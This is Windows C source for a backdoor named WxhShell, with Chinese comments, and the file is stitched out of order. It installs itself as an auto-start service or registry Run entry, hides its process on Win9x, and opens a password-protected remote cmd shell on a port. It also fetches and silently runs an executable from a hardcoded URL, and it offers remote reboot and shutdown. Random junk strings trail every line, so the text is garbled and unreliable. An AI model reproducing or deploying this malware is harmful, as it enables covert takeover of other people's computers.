    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1%Xh[  
    if(Boot(SHUTDOWN)) wh$bDT Cj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : auR0FE  
    else { *`>BOl+ro  
    closesocket(wsh); ;[<(4v$  
    ExitThread(0); xyL"U*  
    } Z.VKG1e}  
    break; tv#oEM9esl  
    } kK &w5'  
  // 获取shell ^rWg:fb  
  case 's': { atL<mhRz  
    CmdShell(wsh); 5`h$^l/  
    closesocket(wsh); lM-9J?j  
    ExitThread(0); $n<a`PdH  
    break; {_9O4 + &  
  } =?5)M_6)  
  // 退出 FnvpnU",  
  case 'x': { GJ9>i)+h;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yD+4YD  
    CloseIt(wsh); C`5'5/-.  
    break; yl[I'fX66  
    } Ss[[V(-  
  // 离开 ,i:?c  
  case 'q': { O}M-6!%<,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +,e#uuj$p  
    closesocket(wsh); 4@9Pd &I  
    WSACleanup(); +x]/W|5  
    exit(1); ;(C<gt,r}  
    break; @*z"Hi>4  
        } KC;cu%H  
  } I&-r^6Yx  
  } dq 93P%X24  
]?^V xB7L  
  // 提示信息 adLL7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z33UER"  
} us.#|~i<h  
  } C4+DZ<pE  
gN/<g8  
  return; C;W@OS-;  
} OBi(]l}^O  
YR?Y:?(  
// shell模块句柄 T$;S   
int CmdShell(SOCKET sock) ';C'9k<P:  
{ gk6f_0?X'  
STARTUPINFO si; (/:m*x*6  
ZeroMemory(&si,sizeof(si)); {JE [  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IkCuw./  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "6B@V=d  
PROCESS_INFORMATION ProcessInfo; T^v763%  
char cmdline[]="cmd"; ] Lv3XMa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )eZK/>L&  
  return 0; ocGrB)7eD  
} dl4n -*h  
DU^.5f  
// 自身启动模式 OZ&/&?!XE  
int StartFromService(void) ~$J ;yo~  
{ yqN`R\d  
typedef struct 2Q6;SF"Z  
{ L}h_\1  
  DWORD ExitStatus; LG[N\%<!H  
  DWORD PebBaseAddress; .S//T/3O]Q  
  DWORD AffinityMask; A@V$~&JCL5  
  DWORD BasePriority; g,,wG k  
  ULONG UniqueProcessId; ?fxM 1<8  
  ULONG InheritedFromUniqueProcessId; g89@>?Mn  
}   PROCESS_BASIC_INFORMATION; H^d?(Svh  
l7-lXl"%q  
PROCNTQSIP NtQueryInformationProcess; Ema[M5$R  
qo [[P)tq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ 4`aONydl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0 qS/>u*  
Wga2).j6  
  HANDLE             hProcess; x,gk]Cf  
  PROCESS_BASIC_INFORMATION pbi; _dKMBcl)E  
8T1`9ITl:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &%2^B[{  
  if(NULL == hInst ) return 0; eoiz]L  
5,Fq:j)MxW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VrIN.x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OAXA<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $@PruY3[  
;\K]~  
  if (!NtQueryInformationProcess) return 0; TiD#t+g  
~4 fE`-O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [Hh*lKg  
  if(!hProcess) return 0; iT'doF  
5} %R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5zK,(cF0-  
6kAAdy}ck  
  CloseHandle(hProcess); =@U5/J  
,U""m7   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J 8 KiL  
if(hProcess==NULL) return 0; M-@RgWvF  
ZID-~ 6  
HMODULE hMod; 48:xvTE?N  
char procName[255]; )U~|QdZ  
unsigned long cbNeeded; %9cT#9!7  
CnZ!b_J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "z9C@T  
DO~ D?/ia  
  CloseHandle(hProcess); y8YsS4E^Q  
"^&H9.z,v  
if(strstr(procName,"services")) return 1; // 以服务启动 _d 6'f8[&  
(\ab%M   
  return 0; // 注册表启动 U p@^C"  
} 5aaM;45C  
+jhzE%  
// 主模块 >h aihT  
int StartWxhshell(LPSTR lpCmdLine) 9J/[7TzSZ  
{ YE`Y t  
  SOCKET wsl; 7qqzL_d>  
BOOL val=TRUE; 8KJUC&`  
  int port=0; jL-2 }XrA  
  struct sockaddr_in door; |R.yuSL)(  
-riX=K>$  
  if(wscfg.ws_autoins) Install(); f#z:ILG=  
Ch]d\GM  
port=atoi(lpCmdLine); o< @![P  
rd7p$e=i  
if(port<=0) port=wscfg.ws_port; -Cyo2wk  
{py%-W  
  WSADATA data; xX-r<:'tmi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Krae^z9R  
Ao\P|K9MyL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %,WH*")  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  26p[x'W  
  door.sin_family = AF_INET; !7DDPJ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CHGa_  
  door.sin_port = htons(port); NF0_D1Goi  
SnG(/1C8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +&S 7l%-  
closesocket(wsl); # Wi?I =,  
return 1; ~61b^L}$  
} d.? }>jl  
#@oB2%&X?  
  if(listen(wsl,2) == INVALID_SOCKET) { VpJKH\)Rt(  
closesocket(wsl); b? o  
return 1; lk>\6o:  
} ]EKg)E  
  Wxhshell(wsl); [gT}<W  
  WSACleanup(); JU17]gQ  
iyn9[>j e  
return 0; Xf4~e(O  
=803rNe  
} vCP[7KhGj  
qb[hKp5K6  
// 以NT服务方式启动 IL|Q-e}Ol  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *;@wPT  
{ 1 !_p  
DWORD   status = 0; 1r=cCM  
  DWORD   specificError = 0xfffffff; A,F~*LXm  
qFWN._R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ry >y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Po58@g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yx Om=V  
  serviceStatus.dwWin32ExitCode     = 0; 8xENzTR  
  serviceStatus.dwServiceSpecificExitCode = 0; ^2- <XD)  
  serviceStatus.dwCheckPoint       = 0; WO.u{vW]'  
  serviceStatus.dwWaitHint       = 0; VgVDTWs7  
Qa,=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G%sq;XT61  
  if (hServiceStatusHandle==0) return; :^ywc O   
o MJ `_  
status = GetLastError(); eyK xnBz  
  if (status!=NO_ERROR) X.>=&~[  
{ X7!q/1$J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HThZ4Kg+  
    serviceStatus.dwCheckPoint       = 0; w W\[#Ku  
    serviceStatus.dwWaitHint       = 0; Zp)=l Td  
    serviceStatus.dwWin32ExitCode     = status; $w*L' <  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4|K\pCw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UF7h{V})  
    return; f|,Kh1{e  
  } 2]vTedSOl  
%)7t2D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HaVhdv3L  
  serviceStatus.dwCheckPoint       = 0; jMn,N9Mf  
  serviceStatus.dwWaitHint       = 0; yMWh#[phH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }`gOfj)?i  
} KhND pwO"  
K.xABKPVc  
// 处理NT服务事件,比如:启动、停止 y.lWyH9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |OJWQU![by  
{ (=^KP7  
switch(fdwControl) "jAd.x?X7e  
{ bg Ux&3  
case SERVICE_CONTROL_STOP: U5kKT.M  
  serviceStatus.dwWin32ExitCode = 0; e%cTFwX?n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3SIq od;%  
  serviceStatus.dwCheckPoint   = 0; :V.@:x>id  
  serviceStatus.dwWaitHint     = 0; 8GP17j  
  { $~1vXe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ketp9}u  
  } bVzi^R"  
  return; }O*`I(  
case SERVICE_CONTROL_PAUSE: @?<[//1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T)gulP  
  break; ^7y t>  
case SERVICE_CONTROL_CONTINUE: 3`cA!ZVQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GCJ[xn(_  
  break; srf}+>u&  
case SERVICE_CONTROL_INTERROGATE: u0L-xC$L  
  break; s21} a,eB  
}; 67iI wY*8'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Q[v"6?  
} y2I7Zd .  
D#LV&4e>.E  
// 标准应用程序主函数 YJv$,Z&;HO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mi] WZlg$  
{ SyVGm@  
Wu{=QjgY  
// 获取操作系统版本 eMRH*MyD  
OsIsNt=GetOsVer(); >>J3"XHX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5(H%Ia  
upuN$4m&{  
  // 从命令行安装 zzZ EX  
  if(strpbrk(lpCmdLine,"iI")) Install(); C=+9XfP0  
I5M\PK/  
  // 下载执行文件 KzVi:Hm  
if(wscfg.ws_downexe) { ^;_~ mq.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5z_d$.CIc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5VV}wR  
} 0<%$lr  
!vnC-&G  
if(!OsIsNt) { cR3d& /_,U  
// 如果时win9x,隐藏进程并且设置为注册表启动 es*$/A  
HideProc(); Dylm=ZZa  
StartWxhshell(lpCmdLine); F_*']:p  
} AI2XNSV@Yl  
else OPNRBMD  
  if(StartFromService()) I uxf`sd  
  // 以服务方式启动 CI{2(.n4  
  StartServiceCtrlDispatcher(DispatchTable); S-Y{Vi"2  
else ]B3](TH"  
  // 普通方式启动 #r9+thyC  
  StartWxhshell(lpCmdLine); <(KCiM=E$  
-iiX!@  
return 0; wGti |7Tu*  
} vntJe^IaFd  
AU\=n,K7  
S=k!8]/d|  
Y$L` G  
=========================================== +fk*c[FG  
7z$Z=cs  
]u5TvI,C  
Hi09?AX  
QH-CZ6M  
eJo" Z  
" 2?~nA2+vm  
$YX{gk>  
#include <stdio.h> 6X@z(EEL  
#include <string.h> (C. $w  
#include <windows.h> 1(Is 7  
#include <winsock2.h> nNCR5&,q  
#include <winsvc.h> zgGysjV  
#include <urlmon.h> w80X~  
`Xos]L'w  
#pragma comment (lib, "Ws2_32.lib") dq '2y  
#pragma comment (lib, "urlmon.lib") 9}6_B|  
mEJ7e#  
#define MAX_USER   100 // 最大客户端连接数 hq7f"`  
#define BUF_SOCK   200 // sock buffer MZz9R*_VS  
#define KEY_BUFF   255 // 输入 buffer Rmw=~NP5  
]Uwp\2Bc  
#define REBOOT     0   // 重启 "IU}>y>J  
#define SHUTDOWN   1   // 关机 lBfthLBa  
\na$Sb+  
#define DEF_PORT   5000 // 监听端口 uJ2ZHrJ  
H7'42J@  
#define REG_LEN     16   // 注册表键长度 Ln# o:"E  
#define SVC_LEN     80   // NT服务名长度 6!]@ S|vDX  
@_C]5D^J^~  
// 从dll定义API  [^ }$u[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z+ k) N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hA ){>B<;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o:#jvi84F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E.*hY+kGZ  
:XY%@n  
// wxhshell配置信息 ~Fb@E0 }!  
struct WSCFG { |X=p`iz1&  
  int ws_port;         // 监听端口 c \??kQH  
  char ws_passstr[REG_LEN]; // 口令 w<B S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'aEK{#en  
  char ws_regname[REG_LEN]; // 注册表键名 TIJH} Ri  
  char ws_svcname[REG_LEN]; // 服务名 $}(Z]z}O;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x~5,v5R^]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qA '^b~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V<9L-7X 8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hpix:To  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +1wEoU.l2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0cG[<\qT  
n=-vOa%  
}; (LK@w9)i;  
!U?C _  
// default Wxhshell configuration X.#*+k3s0  
struct WSCFG wscfg={DEF_PORT, !ldEy#"X  
    "xuhuanlingzhe", _qE9]mU  
    1, Q qF<HCO  
    "Wxhshell", sN1H{W  
    "Wxhshell", o*204BGB  
            "WxhShell Service", uM$b/3%s  
    "Wrsky Windows CmdShell Service", Gs~eRcIB  
    "Please Input Your Password: ", #MY oy7=  
  1, i]<@  
  "http://www.wrsky.com/wxhshell.exe", GgE g(AT  
  "Wxhshell.exe"  z/91v#}.  
    }; 6H0kY/quL|  
zmQQ/ 7K  
// 消息定义模块 8(n>99 VVK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'ij+MU 1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,IhQ%)l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cy@oAoBq  
char *msg_ws_ext="\n\rExit."; C5(XZscq  
char *msg_ws_end="\n\rQuit."; # fF5O2E'3  
char *msg_ws_boot="\n\rReboot..."; ?xwi2<zz  
char *msg_ws_poff="\n\rShutdown..."; ~EmK;[Z  
char *msg_ws_down="\n\rSave to "; |\Gkhi>;  
N $>Ml!J  
char *msg_ws_err="\n\rErr!"; ulALGzPh  
char *msg_ws_ok="\n\rOK!"; \'=svJ   
J <z ^C  
char ExeFile[MAX_PATH]; )F hbN@3  
int nUser = 0; VJ#ys _W  
HANDLE handles[MAX_USER]; Lf9s'o}.R  
int OsIsNt; z2V ->UK)  
NCg("n,jx  
SERVICE_STATUS       serviceStatus; 2XyyU}.$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bj{J&{  
|34k;l]E  
// 函数声明 2. nT k   
int Install(void); |m\7/&@<  
int Uninstall(void); T ^eD  
int DownloadFile(char *sURL, SOCKET wsh); n=b!c@f4  
int Boot(int flag); $~q{MX&J  
void HideProc(void); 6DHZ,gWq  
int GetOsVer(void); /QS Nv  
int Wxhshell(SOCKET wsl); 5q4wREh  
void TalkWithClient(void *cs); +9LzDH  
int CmdShell(SOCKET sock); j(I(0Yyh  
int StartFromService(void); G-D}J2r=F  
int StartWxhshell(LPSTR lpCmdLine); Ox ,Rk  
[.l,#-vp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R1hmJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A]iT uu5p  
kK6t|Yn&  
// 数据结构和表定义 elM<S3  
SERVICE_TABLE_ENTRY DispatchTable[] = 1WaQWZ:=  
{ dgQ<>+9]6  
{wscfg.ws_svcname, NTServiceMain}, @RB^m(> 5  
{NULL, NULL} iaMl>ua  
}; t(UBs-t  
z*VK{O)o  
// 自我安装 M`7lYw\Or!  
int Install(void) DCa=o  
{ VSO(DCr"L  
  char svExeFile[MAX_PATH]; ,V!Wo4M  
  HKEY key; kb$Yc)+R4  
  strcpy(svExeFile,ExeFile); 86KK Y2  
"WY5Pzsi:  
// 如果是win9x系统,修改注册表设为自启动 V9KRA 1  
if(!OsIsNt) { 9Pvv6WyKy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yEB#*}K?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `+."X1  
  RegCloseKey(key); ENA"T-p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w}/+3z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `}ZtK574  
  RegCloseKey(key); P7X3>5<;q  
  return 0; Z9MU%*N  
    } Le-t<6i-V#  
  } uQ ]ZMc  
} <QgpePyoN  
else { sc-+?i  
t\:=|t,  
// 如果是NT以上系统,安装为系统服务 <2O#!bX1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y'6lfThT  
if (schSCManager!=0) |d\1xTBLp  
{ 6[FXgCb  
  SC_HANDLE schService = CreateService <D&  Ep  
  ( V~8]ag4  
  schSCManager, lRS'M,/  
  wscfg.ws_svcname, %IIFLlD  
  wscfg.ws_svcdisp, iig4JP'h  
  SERVICE_ALL_ACCESS, x*j eCD,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , //3fgoly  
  SERVICE_AUTO_START, `"V}Wq ?I  
  SERVICE_ERROR_NORMAL, -jNnx*  
  svExeFile, 1uyd+*/(xP  
  NULL, B}zBbB  
  NULL, ;*Mr(#R  
  NULL, Ii3F|Vb G  
  NULL, 1#|lt\T  
  NULL O|Y`:xvc  
  ); J}-e9vK-#  
  if (schService!=0) f6( 1jx"  
  { 7^!iGhI]r  
  CloseServiceHandle(schService); xqDz*V/mD  
  CloseServiceHandle(schSCManager); CG35\b;Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =Y^K   
  strcat(svExeFile,wscfg.ws_svcname); U0W2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { av'[k<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # dUi['  
  RegCloseKey(key); Q"!GdKM  
  return 0; lkp$rJ#6  
    } `.~*pT*u  
  } 0<<ATw$aQ  
  CloseServiceHandle(schSCManager); 9 %Vy,  
} %<|<%~l&  
} n%}#e!  
{QN 5QGvK  
return 1; Tqs|2at<t  
} J}bLp Z  
i}f"'KW  
// 自我卸载 (B*,|D[J@i  
int Uninstall(void) 44k8IYC*o  
{ D2Q0p(#%  
  HKEY key; 7uu\R=$  
2H] 7=j  
if(!OsIsNt) { Q 4L7{^[X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "fN 6_*  
  RegDeleteValue(key,wscfg.ws_regname); PgP\v-.  
  RegCloseKey(key); 1=X1<@*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qx0F*EH|  
  RegDeleteValue(key,wscfg.ws_regname); A[F@rUZp  
  RegCloseKey(key); 0a!|*Z  
  return 0; W8-vF++R  
  } BNO+-ob-  
} X-CoC   
} |NTqJ j  
else { oZL# *Z(h  
"ChJR[4@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lQRtsmZ0  
if (schSCManager!=0) w}97`.Kt!n  
{ D)[(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pOB<Bx5t  
  if (schService!=0) K|D1  
  { ^@Qc!(P  
  if(DeleteService(schService)!=0) { W%MS,zkAE  
  CloseServiceHandle(schService); +T,0,^ *  
  CloseServiceHandle(schSCManager); Xe\v6gbD  
  return 0; #Hl?R5  
  } L|'B*  
  CloseServiceHandle(schService); VTX6_&Hc1g  
  } bq8h?Q  
  CloseServiceHandle(schSCManager); QM~~b=P,\  
} ssH[\i  
} IO2@^jup  
gTLBR  
return 1; o>]z~^c  
} m*lcIa  
yI-EF)A@;  
// 从指定url下载文件 EACI>  
int DownloadFile(char *sURL, SOCKET wsh) F0kAQgUv  
{ (7$BF~s:,  
  HRESULT hr; j(>xP*il  
char seps[]= "/"; l?xd3Z@7[  
char *token; Bq-}BN?pz  
char *file; V8pZr+AJ  
char myURL[MAX_PATH]; MlbcJo3  
char myFILE[MAX_PATH]; @ W,<8  
/* "pylm  
strcpy(myURL,sURL); 4l> d^L  
  token=strtok(myURL,seps); \lwLVe  
  while(token!=NULL) $:A80(#+  
  { 7e#|Iq:o  
    file=token; C/9]TkX}q  
  token=strtok(NULL,seps); CZ{7?:^f  
  } 3m&  
{DUtdu[  
GetCurrentDirectory(MAX_PATH,myFILE); u&o$2 '8  
strcat(myFILE, "\\"); [;~"ctf{  
strcat(myFILE, file); nuA 0%K  
  send(wsh,myFILE,strlen(myFILE),0); F]0 qt$GO  
send(wsh,"...",3,0); eq<!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .Ep&O#  
  if(hr==S_OK) E},zB*5TH  
return 0; ]9W7]$  
else 5-&"nn2*}1  
return 1; b0x%#trA{  
R. vVl+  
} PY+4OZ$  
Qf'g2 \  
// 系统电源模块 )NqRu+j  
int Boot(int flag) z'"Y+EWN  
{ [1z.JfC :S  
  HANDLE hToken; :" @-Bcln  
  TOKEN_PRIVILEGES tkp; 8L6b:$Y3@C  
g^\!> i  
  if(OsIsNt) { h7o.RRhK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Fy >N>,E(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $ 1m}lXk  
    tkp.PrivilegeCount = 1; T)ISDK4>S"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M[Nv>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ua=r24fy  
if(flag==REBOOT) { xZ >j Q_}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9}4~3_gv;M  
  return 0; jmP;(j.|  
} ',rK\&lL6  
else { (I35i!F+tY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 47f\  
  return 0; Y zmMF  
} ,^DP  
  } B^d di  
  else { 3Y&4yIx  
if(flag==REBOOT) { =([4pG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dt"&  
  return 0; _8\B~;0  
} +!$`0v   
else { }WBHuVcZG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tb8r+~HK  
  return 0; de TD|R  
} dT (i*E\j  
} ^r mQMjF  
MpIiHKQ G9  
return 1; P|C5k5  
} pmO0/ty  
i` ay9J8N  
// win9x进程隐藏模块 ,@Kn@%?$  
void HideProc(void) Hk(=_[S  
{ 2Vw2r@S/  
'G>9iw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \wK4bvUrX  
  if ( hKernel != NULL ) VYt<j<ba  
  { %}XyzGq{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M* {5> !\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z/|=@gpw  
    FreeLibrary(hKernel); :3b02}b7  
  } Q( e  
8.+ yZTg  
return; :fq4oHA#  
} Ps[#z@5{x  
%&q}5Y4!  
// 获取操作系统版本  nb6Y/`G  
int GetOsVer(void) KeXt"U  
{ j['B9vG  
  OSVERSIONINFO winfo; Z_ Y'#5o#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l\uNh~\  
  GetVersionEx(&winfo); *JQ*$$5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1X9s\JKQ  
  return 1; g#cet{>  
  else evNe6J3  
  return 0; i$<")q  
} L' bY,D(J>  
;Me*# /  
// 客户端句柄模块 Fop +xR,Z  
int Wxhshell(SOCKET wsl) YhqMTOw  
{ TU*EtE'g/  
  SOCKET wsh; bX` Gv+  
  struct sockaddr_in client; &|db}\jT  
  DWORD myID; 2% OAQ(  
()F {kM8  
  while(nUser<MAX_USER) 1xkrh qq  
{ ZmNNR 1%/  
  int nSize=sizeof(client); W8;!rFW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B;W%P.<.  
  if(wsh==INVALID_SOCKET) return 1; jIVDi~Ld  
.`V$j.a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  5sN6&'[  
if(handles[nUser]==0) ?(z"U b]  
  closesocket(wsh); &g1\0t  
else a60rJ#GD  
  nUser++; F[`dX  
  } cUdS{K&K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J_m@YkK  
$ ]#WC\Hv  
  return 0; GG +T-  
} n${k^e-=  
r\Yh'cRW{  
// 关闭 socket BMuEfa^  
void CloseIt(SOCKET wsh) Jmi,;Af'/  
{ c %Cbq0+2  
closesocket(wsh); qMA-#  
nUser--; *f`P7q*  
ExitThread(0); \g h |G  
} _L$a[zH  
QCE7VV1Rw  
// 客户端请求句柄 0Oc?:R'$  
void TalkWithClient(void *cs) $(]nl%<Q  
{ ,sL%Ykr  
~(kqq#=s  
  SOCKET wsh=(SOCKET)cs; L$.3,./  
  char pwd[SVC_LEN];  0yq  
  char cmd[KEY_BUFF]; vv{+p(~**O  
char chr[1]; 4KnBb_w  
int i,j; zB~ <@  
Y:t?W  
  while (nUser < MAX_USER) { :zLf~ W  
T<? kH  
if(wscfg.ws_passstr) { FO:L+&hr?>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^\?Rh(pu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s&-MJ05y  
  //ZeroMemory(pwd,KEY_BUFF); aekke//y  
      i=0; *kg->J  
  while(i<SVC_LEN) { |iUC\F=-  
'?L^Fa_H  
  // 设置超时 kLZVTVSJt  
  fd_set FdRead; ]+W){W=ai  
  struct timeval TimeOut; O=(F46 M  
  FD_ZERO(&FdRead); EwA*  
  FD_SET(wsh,&FdRead); dIlpo0; F  
  TimeOut.tv_sec=8; j-W$)c3X  
  TimeOut.tv_usec=0; `Hlf.>b1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); emK*g<]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .hR <{P  
#~"IlBk\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,_Bn{T=U  
  pwd=chr[0]; L-C^7[48=  
  if(chr[0]==0xd || chr[0]==0xa) { 9Ffam#  
  pwd=0; zIjfx K  
  break; tm^joK[{|J  
  } ZL\^J8PRK  
  i++; ,6X;YY  
    } h-?yed*?  
,}gJY^X+  
  // 如果是非法用户,关闭 socket 6&ut r!\7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5)lcgvp  
} 1p$(\  
"8ellKh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kaB|+U9^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o /[7Vo  
iBSg`"S^]C  
while(1) { R^o535pozc  
n+ebi>}P  
  ZeroMemory(cmd,KEY_BUFF); ^Z?m)qxvB  
C|TQf8  
      // 自动支持客户端 telnet标准   pka^7OWyN  
  j=0; ~1wt=Ln>  
  while(j<KEY_BUFF) { tjb$MW$('  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TZt;-t`  
  cmd[j]=chr[0]; A%Ka)UU+n  
  if(chr[0]==0xa || chr[0]==0xd) { xw 43P.  
  cmd[j]=0; R P<M  
  break; ,#3Aaw   
  } SYA~I-OYc  
  j++; ?4/pE@RIy  
    } vjx'yh|  
Yr_ B(n  
  // 下载文件 B=& [Z2  
  if(strstr(cmd,"http://")) { @tm2Y%Y!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7cGOJA5&  
  if(DownloadFile(cmd,wsh)) Qr$ 7 U6p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1bCE~,tD  
  else  &kmaKc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  t8EI"|  
  } ~Dq-q6-@t  
  else { JR.)CzC  
-(:T&rfTp  
